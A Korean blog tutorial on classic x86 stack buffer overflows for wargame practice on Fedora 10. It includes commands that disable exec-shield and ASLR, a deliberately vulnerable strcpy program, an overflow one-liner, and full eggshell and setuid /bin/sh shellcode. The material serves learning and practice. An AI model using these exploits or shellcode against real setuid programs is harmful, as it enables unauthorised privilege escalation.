dumpcode 는 ohhara님께서 만든 해더파일이다.

사용법은
#include "dumpcode.h"

dumpcode(address,size);
하면 된다.

void printchar(unsigned char c)
{
        if(isprint(c))
                printf("%c",c);
        else
                printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
        int i;
        for(i=0;i<len;i++)
        {
                if(i%16==0)
                        printf("0x%08x  ",&buff[i]);
                printf("%02x ",buff[i]);
                if(i%16-15==0)
                {
                        int j;
                        printf("  ");
                        for(j=i-15;j<=i;j++)
                                printchar(buff[j]);
                        printf("\n");
                }
        }
        if(i%16!=0)
        {
                int j;
                int spaces=(len-i+16-i%16)*3+2;
                for(j=0;j<spaces;j++)
                        printf(" ");
                for(j=i-i%16;j<len;j++)
                        printchar(buff[j]);
        }
        printf("\n");
}
많은 공개된 문서는 최신 배포판 환경에서 테스트된 것이 거의 없다.

심지어 모두 x86 환경이다.
64bit 환경에서 다루어진 문서도 별로 없다.

그래서 09년 01월 현재 최신 배포판인 fedora10(x86) 에서 다뤄보도록 하겠다.
64bit 를 연구해봤으나 실력이 부족한 관계로 누군가에게 pass 하도록 하겠다.


사실, fc4 와 fc10 은 별 차이가 없다.

fc4 부터 random stack 과 exec-shield 가 적용되어 있다.

gcc 2.96 이전버전과 fc10 에서 사용되고 있는 gcc 4.3.2 의 스택은 상당한 차이를 보이고 있다.

여기에서는 일단 본인부터 실력이 초보이므로, random stack 과 exec-shield 환경이 아닌 것에서부터 출발할것이고,

다만, gcc 4.3.2 와 gcc 2.96 이전버전 을 모두 다뤄보도록 할 것이다.

gcc 4.3.2 버전에서 2.96 이전버전으로 컴파일하는 방법은 -mpreferred-stack-boundary=2 라는 옵션으로 컴파일하면 된다.

그리고 exec-shiled 와 random stack off 방법은

[root@localhost]# sysctl -w kernel.exe-shield=0
[root@localhost]# sysctl -w kernel.randomize_va_space=0

이란 명령을 내려주면 된다.

이런 환경에서
vul.c
-------------------------------------------
#include <string.h>
int main(int argc, char **argv)
{
char buf[4];
strcpy(buf,argv[1]);
return 0;
}

이란 소스코드를
[waintman@localhost]$ gcc vul.c -o vul -mpreferred-stack-boundary=2

위와 같이 컴파일하면 일반적인 상황에서의 buffer overflow 공격이 가능해진다.
eggshell 이 띄워진 상황에서

[waintman@localhost]$ ./vul `perl -e 'print "\x04\xf4\xff\xbf"x3'`

일단 맛보기이므로 자세한 설명은 다음에 하도록 한다.

[waintman@localhost oldgcc]$ uname -na
Linux localhost.localdomain 2.6.27.5-117.fc10.i686 #1 SMP Tue Nov 18 12:19:59 EST 2008 i686 athlon i386 GNU/Linux



wargame 이나 기타 linux 상에서 shell 을 얻기위해서는 eggshell 이란 놈을 이용하는 것이 편하다.

eggshell 에 대해서는 phrack 49-14호에 있는 smashing the stack for fun and profit 이란 문서를 보면 자세히 나와있다.

eggshell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <memory.h>

#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char    *buff, *ptr, *egg;
long    *addr_ptr, addr;
int     offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int     i, eggsize=DEFAULT_EGG_SIZE;

if ( argc > 1 ) bsize = atoi(argv[1]);
if ( argc > 2 ) offset = atoi(argv[2]);
if ( argc > 3 ) eggsize = atoi(argv[3]);

if ( !(buff = malloc(bsize)))
{
printf("Can't allocate memory for bsize\n");
exit(0);
}

if ( !(egg = malloc(eggsize)))
{
printf("Can't allocate memory for eggsize");
    exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i < bsize; i+= 4)
*(addr_ptr++) = addr;

ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);
putenv(egg);
memcpy(buff, "RET=", 4);
putenv(buff);
system("/bin/bash");
}

파일에 setuid 가 걸려있더라도 소스코드내에 setreuid() 가 없으면 권한이 바뀌지 않으므로, shellcode 앞에
setreuid(geteuid(),geteuid()) 관련 기계어를 넣어주었다.

좀더 작은 shellcode는 다음과 같다.

test_shell.c
int main()
{
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
"\x31\xd2\xb0\x0b\xcd\x80";
(*(void(*)())shellcode)();
return 0;
}


해킹대회의 문제은행(?) 같은 곳이라고 생각한다.

국내에서 잘알려진 곳으로는 해커스쿨이 있다. (해커즈랩은 이제 안하는 듯)

프로그램을 debugging 혹은 소스코드를 분석해서 그 취약점을 이용하여 level up 하는 것이 목표이다.

주로 buffer overflow 나 format string bug 문제가 대세를 이루고 있다.

telnet 혹은 ssh 를 통해 로그인후 문제를 풀거나, 웹 페이지의 버그를 이용해 풀수 있다.

예전에는 이걸 풀 수 있으면 진짜 해커가 된듯한 착각속에 빠졌었는데, 알고보니 그냥 게임일 뿐이었다.

wargame 이나 해킹대회문제를 잘 푼다고 해서 꼭 해킹을 잘하는 것은 아닌것 같다.
 (이런 문제들은 보안 취약점을 고의적으로 포함하고 있기 때문에)

그래도 이런것을 모르면서 해커라고 하기엔 좀 무리가 있는것도 같다. '이런것들을 응용할수 있어야
실제 프로그램들이나 서버환경의 취약점을 발견할 수 있지 않을까?' 라고 생각해 본다.

http://www.overthewire.org/wargames/vortex/

여기 있는 문제의 풀이...

인터넷에서

vortex level

로 검색하면 많은 풀이를 볼수 있다.

그저 수많은 풀이중의 하나에 불과하지 않을 뿐더러 많은 공개되어 있는 풀이들을 참고로 했음.

+ Recent posts